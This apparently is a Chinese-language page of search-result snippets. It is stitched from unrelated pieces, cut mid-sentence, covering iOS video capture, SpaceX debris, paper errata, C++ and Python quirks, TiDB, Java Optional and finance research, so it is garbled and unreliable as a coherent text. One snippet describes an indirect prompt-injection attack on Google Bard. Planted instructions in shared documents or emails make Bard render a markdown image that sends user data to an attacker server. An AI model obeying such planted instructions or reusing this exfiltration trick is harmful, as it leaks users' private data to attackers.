let deviceOutput = AVCaptureVideoDataOutput() deviceOutput.videoSettings = [kCVPixelBufferPixelFormatTypeKey...这自 Apple 发佈 iOS 10 后，都是必须添加的步骤。 ? text-detection-infoplist 现在即时影像应该会如预期般的运作。...现在，连接所有东西的最后一个步骤就是以即时影像来执行我们的 Vision Framework 代码。我们需要做的是录制影像并将其转换为 CMSampleBuffer。...sampleBuffer: CMSampleBuffer, from connection: AVCaptureConnection) { guard let pixelBuffer...基本上这个函数所做的就是它确认 CMSampleBuffer 是否存在以及提供一个 AVCaptureOutput。
本文先叙述小视频的产品需求，介绍了几个实现方案，分析每个方案的优缺点，最后总结出最优的解决方案。...还有AVPlayer释放时最好先把AVPlayerItem置空，否则会有解码线程残留着。最后是性能问题，如果聊天窗口连续播放几个小视频，列表滑动时会非常卡。...前期录制方案如下： 创建AVCaptureSession，设置拍摄分辨率 添加AVCaptureInput，如摄像头和麦克风 添加AVCaptureOutput，如AVCaptureVideoDataOutput...添加AVCaptureVideoPreviewLayer，为用户提供拍摄预览界面 创建MMovieWriter，里面包含AVAssetWriter对象，用于写视频 开始捕捉-startRunning AVCaptureVideoDataOutput...然而录制的6s视频大小有2M+，再用MMovieDecoder+MMovieWriter压缩至少要7~8s，影响聊天窗口发小视频的速度。
作者 | 来自镁客星球的王饱饱 据多家媒体报道，有太空研究人员发现，马斯克旗下SpaceX的一枚太空垃圾即将在今年3月撞击月球，目前还不知道将对月球造成何种影响。...据悉，这份太空垃圾是SpaceX此前与美国宇航局和美国空军（现为美国太空部队）在2015年的一次合作中，在发射深空气候观测站（DSCOVR）任务时造成的，当时这枚SpaceX Falcon 9（猎鹰9）...欧洲航天局空间碎片办公室负责人Holger Krag认为，虽然航天器有时会在任务结束时故意坠毁在月球上，但随机撞击月球的空间碎片并不常见。不过，”火箭部件与月球的意外碰撞可能未来会更频繁地发生。"...哈佛大学和史密森尼天体物理中心的天文学家Jonathan McDowell表示，大约有30到50个像猎鹰火箭级这样的深空物体已经失踪多年，但没有空间机构系统地跟踪这些远离地球的空间碎片。...“宇宙中的航天器交通量正在增加，目前不仅是美国和俄罗斯在发射航天器，还有许多国家和像SpaceX这样的商业公司。因此，我认为现在是时候让世界更加认真地对深空活动进行监管和编目了。”
你多久发一次Twitter？一天发几次Twitter？而风力电场每隔10秒就产生一次数据，发电厂每天产生数TB的数据。同样地，喷气式发动机，火车，石油钻井平台以及更多的类似的电力机器也是如此。...公用事业迫切需要来自数据的洞察，这将有助于在面临剧烈的市场波动时提高运营的可靠性，生产力和盈利能力。 在能源行业之外，企业可能会面临许多不同的挑战。...请记住那个电力行业的例子，这1.3万亿美元的价值潜力中几乎三分之一（准确地说是3870亿美元）的价值将来自于排除机器的意外停机。 数字化资产 机会以某种方式被联系起来，已经成为了最重要的商业资产。...然而，工业物联网不仅仅体现为数字资产的可靠性。...美国85％的电力仍来自不可再生能源，燃料成本可高达工厂总运营成本的80％。利用分析来了解哪些变量会影响燃料消耗 - 以及它们如何影响消费 - 在这个行业中是非常有价值的。而且你的行业也可能会这样。
勘误：一个PBS组的染色图像Rb1 FL / FL Lyz2cre 被意外选择为PBS组图像Rb1 FL / FL Lyz2cre +小鼠（原图3C的左底部）。...修改后的图3C现在为来自原始数据源的Rb1 fl / fl Lyz2cre +小鼠的PBS组正确图像。此更改不会影响本文的结论。 ? 03 ?...质疑：从两个板块之间的相似性来看，它们可能显示来自同一只小鼠肺部的相邻组织切片，而不是来自两种不同品系的小鼠的相邻切片。 ?...勘误：在图3D的发布版本中，CFSE-Lovo / Medium板块中的CH和AdCtrl组的数据被错误地呈现为错误的图像。现在已纠正了图3D。图3的更正版本如下所示。 ? 07 ? 质疑：图6A。...勘误：在《STAT3结合长非编码RNA lnc-DC控制人类树突状细胞分化》报告中，补充材料的S12A错误地引入了图，来自同一样品lnc-DC RNAi-1的FACS图被意外地用于“无转染”和“ lnc-DC
意外损坏的保修服务.../li> 其他的所有需要展示的属性...按照th遍历发现那玩意是空的，说明返回的结果有问题，查看返回的结果确实是为空，进一步想到会不会是因为请求构造出现了问题，最后发现拿出构造的dls语句去查，也是发现为空，那么进一步确定是查询的dls语句出现了问题..."attrs.attrValue", "field": "attrs.attValue", 发现是 attrValue写成了attValue 错误前代码 //聚合分析出当前attr_id对应的所有可能的属性值....field("attrs.attValue").size(50)); attr_agg.subAggregation(attr_id_agg); 排错后代码 //聚合分析出当前attr_id对应的所有可能的属性值
斯坦福大学的一组研究员在人体微生物群落中发现了一种全新的未知生命实体，这一发现不仅再次模糊了生命的界限，也为我们理解生命进化提供了新的视角。...方尖碑的发现是在对人体肠道和口腔中各种细菌的DNA进行测序的过程中意外发现的。...方尖碑的研究不仅有助于我们理解生命的多样性和复杂性，还可能为未来的医学和生物技术领域带来新的突破。例如，如果方尖碑具有影响人体微生物群落的能力，那么它可能在人体健康和疾病的发生发展中扮演重要角色。...他们相信，随着研究的深入，我们将能够揭开方尖碑的神秘面纱，进一步揭示生命的奥秘。 这一重大发现为全球生命科学领域的发展注入了新的活力。...我们期待着未来更多关于方尖碑的研究成果的公布，为人类对生命的认知和理解带来新的突破。
据车主表述，“突然失控”和“意外加速”成为肇事主要原因。放眼全球，仅仅近两年时间，特斯拉意外加速事件已经屡见不鲜。众人瞩目的”神话“背后，或许还是无法避免系统漏洞。...据悉，华尔街某位长期做空特斯拉的明星基金管理人已经“成功”跻身百万富翁。 而此前，他是亿万富翁。 进入2020年，特斯拉股价一路飙升，空头仓位亦是不断爆仓。...该请愿书主要了援引媒体关于特斯拉意外加速造成撞车的报道，涉及了2013年至2019年生产的Model X、Model S和Model 3车型）。...对此，特斯拉发布声明称：“请愿书完全虚假，是做空者对特斯拉的抹黑”。 事实真的如此吗？特斯拉研发出的诸多产品，就真的没有问题？ 在一些网友大肆鼓吹特斯拉的同时，我们真正需要的是认真思考。...Belt在2020年6月发表的一篇论文，已61页的篇幅，详细地解释了特斯拉频发事故的具体原因： 在此篇论文中，Ronald A.
但是由于std::swap被实现为使用移动操作，如果你意外地调用了swap(a,b)而a和b参照了同一个对象，如果没有处理好自赋值的话，可能会发生严重且不易发现的错误。...违反自我赋值检查的概率只有百万分之一（数据只要领会精神就好，译者注）；避免自我赋值的讨论和自我移动的关系更加密切。...没有避免使用if(this==&a)return *this;操作的普遍办法。检查移动赋值的方法仍然会得出正确的结果（例如在x=x之后x的值不会改变）。...delete ptr; ptr = temp; 译者注 如果other和this是同一个对象，other.ptr=nullptr也会同时将this.ptr置空，导致下面的delete ptr不起作用。...(中等)在自赋值的情况下，移动操作运算符应该避免对象的指针成员指向的对象被销毁或者该指针成员被置空。
return self.answer - y print(A() + 5) 6、求和 >>> sum("") >>> sum("", []) >>> sum("", {}) 7、意外的属性...但是明白了它的检查逻辑，就合情合理了： Python 中的逻辑运算符是惰性的，any 的算法是寻找第一次出现为真的元素，如果没有找到，则返回 False，由于序列为空，因此没有元素可以为真，因此 any...同样的，all 算法是查找第一个为假的元素，如果没有找到，则返回 True，由于空序列中没有假的元素，所以 all([]) 返回 True，是不是有点空洞真理的概念？...在上述所有情况下，空字符串都被视为空序列，因此 sum 将简单地将起始参数作为总结果返回。在第一种情况下，它默认为零，对于第二种和第三种情况，它意味着空列表和字典作为开始参数传入。...7、意外的属性 >>> sum([ ... el.imag ...
七年来，GAIR似乎已成为了微软人的AI第二故乡，40多名来自微软全球各地的科学家，每年夏天从天南海北相聚，或是进行着最为理性的探讨，或是诉说着最为感性的缅怀： 2018年第三届GAIR，在深度学习鼎盛之年...张正友在GAIR 2019发表了题为《计算机视觉的三生三世》的大会报告，同时出席了GAIR 2019的AI顶会主席论坛与GAIR 2020纪念Thomas Huang专场。...周明在GAIR 2019 年发演讲：《自然语言处理的未来之路》，并出席AI顶会主席论坛。...李世鹏 曾任微软亚洲研究院副院长，18年出任科大讯飞研究院联席院长，现为IDEA低空经济研究中心负责人，李世鹏在GAIR 2019发表演讲《人工智能技术大规模应用的挑战和机遇》，并出任GAIR 2020...此次她将在GAIR 2023发表演讲。 景鲲 曾任微软首席研发总监，微软小冰的创造者之一，现为百度集团副总裁，小度科技CEO。
令我有些意外的是，得到的反馈是产品都要有web 页面。显然，这里存在着认知偏差。那么，软件开发中的认知偏差有哪些？又如何面对和解决呢？...另一些认知偏差可能来自过往的经验，例如，坚持个人解决问题的风格，缺少了包容以及解决方案的多样性。...在软件开发中，一般可把反向的操作作为负面后果，具体发反向操作包括那些以后需要撤销、重做或丢弃的任务和流程。...3.2一亩三分 这一认知偏差表现为产研同学过分重视他们自己创建或已经拥有的软件任务，从而降低了客观评估其他选项的可能性。...3.7 潜意识行为 它表现为将评价和感知转移给外部资源(如 IDE 或在线资源) ，而不考虑这些信息的实际价值。
尽管在不久的将来自动驾驶汽车在我们的街道上行驶的可能性越来越近，但对改善生活质量和减少事故的技术的研究已全面展开。...尽管进行了所有研究并为将自动驾驶汽车芾到道路上进行试验而做出了努力，但我们仍然对该前景没有完全的信心。它雲要更多的研究和验证。...由虚幻引擎提供动力的免费，开放源代码模拟器CARLA的推出受到了研学家 GermanRos (现为 CARLA团队负责人）和巴塞罗那计算机视觉中心的Antonio M.Lopez教授的早期工作的后发。...从一开始就设计CARLA ,以支持自动驾驶系统的开发，训练和验证。...特征 通过服务器多客户端体系结构的可伸缩性 灵活的API 自动驾驶传感器套件 快速仿真以进行计划和控制 地图生成 交通场景模拟 ROS整合 自动驾驶基准 ?
有趣的是，这一发现不仅适用于股票，也适用于债券。...这一发现非常重要，如下表所示，“curse of popolarity"导致低beta的股票开始从价值板块往中盘转移、并且比中盘指数的估值更高，数据来自晨星。...在SMB最高/低的五分之一股票中，做多/空BAB的等权组合，可以获得月均1.5的正收益，t统计量可以达到7.8。这一策略在控制了主要风险因子、考虑其他组合构建方法、取子区间分析后依然显著。...Term premium （这个term premium没理解是什么意思，作为解释是久期) 低波动策略在term risk(久期)上有暴露，并不意外。...然而，新的研究表明，这一异象的收益不仅来自于如流动性等风险溢价，也和成长、价值环境中的低波动、过去市场回报高低、SIZE因子表现相关。
注意：假如该字符串中的第一个非空格字符不是一个有效整数字符、字符串为空或字符串仅包含空白字符时，则你的函数不需要进行转换。 在任何情况下，若函数不能进行有效的转换时，请返回 0。...图来自网络 一般的解题思路如下： 1 ）删除掉字符串的空格，这里用到了lstrip()方法，截掉字符串左边的空格或指定字符 2 ）使用正则表达式 re，找出数字的部分 ^：匹配字符串开头 [\ + \...此外他曾多次持有托尔的雷神之锤，证明了他拥有着高洁的品格。 也由于罗杰斯的对美军无比熟悉，因此他能够对美国国防部高度机密的作战方案给予详细的建议。...这盾牌是由被称为“泛合金”（Vibranium）的罕有金属之合金所制成，马龙麦克连恩博士因意外而制作出了以奈布林为主原料的合金，然而因为其制造过程属意外，所以其原料比例和合金过程全都失传了。...长年的训练令他能够人盾合一，可以百发百中地掷出盾牌，无论是狙击、反弹敌人攻击、跳弹式攻击、连续打击多个目标、或是飞掷转向至敌人背后攻击都完全不是问题。
* 支持分析更复杂的条件，尽可能充分的使用索引 * 支持通过 `STRAIGHT_JOIN` 语法手动指定 Join 顺序 * `GROUP BY`子句为空时使用 Stream Aggregation...命令，用于灾难恢复情况下修复索引数据支持通过 Alter 语句修改 Table Options PD 增加 Region Merge 支持，合并数据删除后产生的空 Region experimental...的 `keepalive` 参数 * 修复 Region 增多容易 OOM 的问题 TiSpark TiSpark 使用独立的版本号，现为 1.0 GA。...作为世界级开源的分布式关系型数据库，TiDB 灵感来自于 Google Spanner/F1，具备『分布式强一致性事务、在线弹性水平扩展、故障自恢复的高可用、跨数据中心多活』等核心特性。...TiDB 1.0，并在 2018 年 3 月发版 2.0 RC1。
直接提示注入指用户直接向模型输入恶意指令，试图引发意外或有害的行为。间接提示注入指攻击者将恶意指令注入到可能被模型检索或摄入的文档中，从而间接地控制或引导模型。...也就是说，不怀好意的人可能通过向你发送电子邮件或强行分享谷歌文档进行间接的提示注入攻击，因为对方发什么样的邮件、文档给你，你是控制不了的，但 Bard 却会无差别访问。...他通过让 Bard 分析旧的 YouTube 视频，并使用谷歌文档进行测试测试结果显示，Bard 确实按照他的额外提示进行了操作，这证明了接下来要进行的测试的可行性。...当谷歌的大模型返回文本时，它可以返回 markdown 元素，Bard 将其呈现为 HTML! 这包括渲染图像的功能。 想象一下谷歌的大模型返回这样的文本： !...goog=[DATA_EXFILTRATION]) 这将呈现为 HTML 图像标记，其 src 属性指向 attacker 服务器。
-----------------来自小马哥的故事 ---- 说明 一个聪明的人曾经表示，在处理空指针异常之前，你不是一个真正的Java程序员。...为了给出一些历史背景，计算机科学巨人托尼·霍尔（Tony Hoare）写道：“我称之为我十亿美元的错误，这是1965年发明的无效参考。我无法抗拒放弃的诱惑一个null引用，只是因为它很容易实现。...“ 你可以做什么来防止意外的空指针异常？您可以防御并添加检查以防止取消引用，如下列代码所示： String version = "UNKNOWN"; if(computer !...因此，您可以防止意外的空指针异常。 重要的是要注意，Optional类的意图不是替换每个单个空引用。相反，其目的是帮助设计更易于理解的API，以便通过读取方法的签名，您可以判断是否可以期望可选的值。...另外，Optional迫使你主动展开一个Optional处理没有价值的东西; 因此，您可以保护您的代码免受意外的空指针异常。
这些上市公司的基本面数据来自CRSP，行情数据来自Compustat，分析师一致预期数据来自IBES。 表1中，A部分给出了从数量、销售额及市值维度的数据覆盖度。...具体来说，面板A、B、C和D分别显示了销售代理与收入增长、标准化意外收入(SUR)、标准化意外收入(SUE)和分析师预测误差(AFE)的回归结果。收入增长是公司i在财政季度t时季度收入增长的百分比。...Panel B和C检验销售代理与SUR和SUE的关系，收入和收益增长的意外部分。虽然三种代理均与SUR和SUE显著相关，但WEB的系数和R2倾向于比其他代理更显著。...然而，BRAND的多空组合在t+2提供了一个显著的alpha。没有一个WEB投资组合在任何传统水平上显示出重要意义。...图4给出了多空收益曲线，其中红线为多头，蓝线为空头，黑线为多空组合的净值曲线。
然而，传统的SS主要基于RGB图像，这限制了SS在复杂的室外场景中的可靠性，RGB图像缺乏充分感知无约束环境所需的信息维度。...作为初步的研究，我们研究了SS在一个意外的障碍物检测场景，这证明了多模态融合的必要性。在这项工作中，我们提出了EAFNet，一个有效的注意力桥接融合网络，以利用来自不同光学传感器的互补信息。...具体来说，我们结合偏振传感来获取补充信息，考虑其光学特性，以稳健地表示不同的材料。通过使用单发偏振传感器，我们建立了第一个RGB-P数据集，该数据集由394幅带注释的像素对齐的RGB-P图像组成。...综合各种实验表明，EAFNet融合极化和RGB信息的有效性，以及适应其他传感器组合场景的灵活性。...主要框架及实验结果 声明：文章来自于网络，仅用于学习分享，版权归原作者所有，侵权请加上文微信联系删除。
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